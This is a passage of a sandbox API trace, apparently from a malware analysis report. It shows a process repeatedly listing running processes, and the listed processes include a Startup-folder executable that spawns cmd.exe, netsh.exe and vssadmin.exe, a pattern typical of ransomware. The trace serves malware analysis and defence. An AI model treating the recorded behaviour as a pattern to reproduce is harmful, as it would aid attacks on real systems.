th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0046.872] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb34, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0046.872] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb3c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0046.874] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0046.874] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.875] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0046.876] CloseHandle (hObject=0x11c) returned 1 [0046.876] Sleep (dwMilliseconds=0x1f4) [0047.586] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19c [0047.619] Process32FirstW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0047.620] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0047.621] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0047.622] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.623] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0047.624] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.625] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0047.626] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0047.627] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0047.628] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0047.629] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.630] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.631] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.632] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.633] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.634] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0047.635] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.636] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.638] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0047.639] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0047.640] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0047.641] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.642] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.642] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0047.643] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.644] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shakespeare-back.exe")) returned 1 [0047.645] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="josh.exe")) returned 1 [0047.646] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="senior.exe")) returned 1 [0047.647] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashers-liability-centered.exe")) returned 1 [0047.648] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="txtranslated.exe")) returned 1 [0047.649] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="started.exe")) returned 1 [0047.650] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="microwaveanalysis.exe")) returned 1 [0047.651] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectiouscomparison.exe")) returned 1 [0047.652] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pd barnes.exe")) returned 1 [0048.280] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tradition.exe")) returned 1 [0048.281] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="genetics dm penguin.exe")) returned 1 [0048.282] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="metrichours.exe")) returned 1 [0048.283] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cropssonic.exe")) returned 1 [0048.283] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vampire.exe")) returned 1 [0048.284] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declaration_earrings_moms.exe")) returned 1 [0048.285] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="damaged.exe")) returned 1 [0048.285] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrong.exe")) returned 1 [0048.286] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roll_plates.exe")) returned 1 [0048.287] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professionalheavywidth.exe")) returned 1 [0048.288] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="command.exe")) returned 1 [0048.288] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="friend_medicine.exe")) returned 1 [0048.289] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="examine.exe")) returned 1 [0048.290] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="september_introduced_justice.exe")) returned 1 [0048.290] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0048.291] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0048.292] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0048.293] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0048.293] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0048.294] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0048.295] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0048.295] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb34, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0048.296] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb3c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0048.297] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0048.297] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.298] Process32NextW (in: hSnapshot=0x19c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0048.299] CloseHandle (hObject=0x19c) returned 1 [0048.299] Sleep (dwMilliseconds=0x1f4) [0048.816] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x178 [0048.818] Process32FirstW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0048.819] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0048.819] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0048.820] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.821] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0048.821] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.822] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0048.823] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0048.823] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0048.824] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0048.825] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.825] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.826] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.827] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.827] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.828] Process32NextW (in: hSnapshot=0x178, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0048.829] Process32NextW (in: 